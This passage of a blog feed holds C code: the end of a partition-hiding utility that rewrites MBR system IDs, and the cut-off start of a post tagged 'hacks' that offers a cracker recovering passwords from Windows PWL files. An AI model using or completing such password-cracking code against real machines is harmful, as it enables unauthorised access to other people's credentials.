/&gt;printf("&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hide partition(1)&lt;br /&gt;");&lt;br /&gt;printf("Revele partition(2)&lt;br /&gt;");&lt;br /&gt;printf("Quit(3)&lt;br /&gt;Enter your choice(1/2/3):");&lt;br /&gt;hideindex[0]=getche();&lt;br /&gt;choice=atoi(hideindex);&lt;br /&gt;switch(choice)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;case 1:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("&lt;br /&gt;Which drive do u want to hide:(0-%d):",index-1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;scanf("%s",hideindex);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;hi=atoi(hideindex);&lt;br /&gt;&amp;nbsp;&amp;nbsp; if(hi&amp;lt;=index)&lt;br /&gt;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; id=dinfo[hi].sysid;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if(id==1||id==4||id==7||id==0xb||id==0xc||id==0xe)&lt;br /&gt;&amp;nbsp;&amp;nbsp; { lsect=dinfo[hi].startsect;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;id+=0x10;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;{mbr-&amp;gt;partition[0].systid=id;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if(WriteSect(disk,nsect,lsect,(char *)mbr)==TRUE)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("&lt;br /&gt;HIDDEN SUCCESSFULLY");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp; printf("Cant Hide");&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;case 2:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("&lt;br /&gt;Which drive do u want to Revele:(0-%d):",index-1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;scanf("%s",hideindex);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;hi=atoi(hideindex);&lt;br /&gt;&amp;nbsp;&amp;nbsp; if(hi&amp;lt;=index)&lt;br /&gt;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; id=dinfo[hi].sysid;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if(id==0x11||id==0x14||id==0x17||id==0x1b||id==0x1c||id==0x1e)&lt;br /&gt;&amp;nbsp;&amp;nbsp; { lsect=dinfo[hi].startsect;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; id-=0x10;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;{mbr-&amp;gt;partition[0].systid=id;printf("%x",mbr-&amp;gt;partition[0].systid);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if(WriteSect(disk,nsect,lsect,(char *)mbr)==TRUE)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("&lt;br /&gt;REVELED SUCCESSFULLY");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp; printf("Cant Revele&lt;br /&gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;case 3:&lt;br /&gt;&amp;nbsp;&amp;nbsp;exit(1);break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;default:&lt;br /&gt;&amp;nbsp;&amp;nbsp;printf("&lt;br /&gt;invalid choice");exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;break;&lt;br /&gt;&amp;nbsp;};&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;printpart(struct MBR *mbr,WORD i)&lt;br /&gt;{&lt;br /&gt;BYTE bootable[]="YES";&lt;br /&gt;BYTE id[7];&lt;br /&gt;static BYTE c=0,index=0;&lt;br /&gt;if(c==0)//to execute this for once&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;clrscr();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(30,1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("Partition Table");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(2,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("INDEX");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(8,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("SystemID");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(17,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("Bootable");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(26,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("StartingLBA");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(38,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("SIZEINSECTORS");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(52,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("SIZEINGB");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;c++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(46,20);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("Coded by Tapan Kumar Mishra");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(55,21);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("7th Sem,Electrical Engg.");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(55,22);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("IGIT Sarang,Orissa");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(46,23);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("Email id:titu_igit@rediffmail.com");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;if(mbr-&amp;gt;partition[i].bootid!=0x80)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(bootable,"NO");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(2,3+index);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("%d",index);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(8,3+index);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;systemid((BYTE)mbr-&amp;gt;partition[i].systid,id);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("%s",id);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(17,3+index);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("%s",bootable);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(26,3+index);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("%ld",mbr-&amp;gt;partition[i].relsect+lsect);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(38,3+index);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("%ld&lt;br /&gt;",mbr-&amp;gt;partition[i].numsect);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gotoxy(52,3+index);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;printf("%5.2fGB",(float)mbr-&amp;gt;partition[i].numsect/2097152.0);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;index++;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;systemid(BYTE systid,BYTE *id)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; switch(systid)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case &amp;nbsp;00:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"empty");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 01:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"FAT12");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 04:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"FAT16");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 05:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"EXTNED");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0xb:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"FAT32");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0xc:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"FAT32");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0xE:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"FAT16");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0xf:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"EXNDED");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x82:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"SWAP");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x83:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"EXT2fs");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x11:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x14:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x15:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x16:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x17:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x1b:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x1c:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x1e:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;case 0x1f:&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;strcpy(id,"hidden");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;//End of code&lt;br /&gt;// if u are unable to see the code in proper format ,mail to&lt;br /&gt;// titu_igit@rediffmail.com&lt;br /&gt;//&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7499655381479400446?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7499655381479400446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/partition-hiding-software-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7499655381479400446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7499655381479400446'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/partition-hiding-software-in-c.html' title='Partition Hiding Software in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6326576353358144414</id><published>2011-03-20T20:06:00.000-07:00</published><updated>2011-03-20T20:06:41.723-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='intersting'/><title type='text'>Write a C Program to get the computer pasword</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;Code :&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;# include stdio.h&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;# include stdio.h&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;# include process.h&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;# include stdlib.h&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;# include ctype.h&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;# include conio.h&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;# include mem.h&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;unsigned char huge Data[100001];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;unsigned char keystream[1001];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;int Rpoint[300];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;void main(int argc,char *argv[]){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;FILE *fd;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int i,j;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int size;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char ch;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char *name;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int cracked;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int sizemask;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int maxr;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int rsz;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int pos;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int Rall[300]; &amp;nbsp; &amp;nbsp; /* Resourse allocation table */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if(argc&amp;lt;2){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("usage: glide filename (username)");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;exit(1);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* Read PWL file */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;fd=fopen(argv[1],"rb");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if(fd==NULL){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt; &amp;nbsp;printf("can't open file %s",argv[1]);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt; &amp;nbsp;exit(1);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;size=0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;while(!feof(fd)){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;Data[size++]=fgetc(fd);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;size--;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;fclose(fd);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* Find Username */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;name=argv[1];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if(argc&amp;gt;2)name=argv[2];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Username:%s&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;",name);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* Copy encrypted text into keystream */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cracked=size-0x0208;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if(cracked&amp;lt;0)cracked=0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if(cracked&amp;gt;1000)cracked=1000;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;memcpy(keystream,Data+0x208,cracked);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* Generate 20 bytes of keystream */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;20;i++){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;ch=toupper(name[i]);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if(ch==0)break;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if(ch=='.')break;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;keystream[i]^=ch;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cracked=20;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* Find allocated resources */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;sizemask=keystream[0]+(keystream[1]&amp;lt;&amp;lt;8);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Sizemask:%04X&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;",sizemask);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;256;i++){&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if(Data[i]!=0xff){&lt;/span&gt;&lt;br 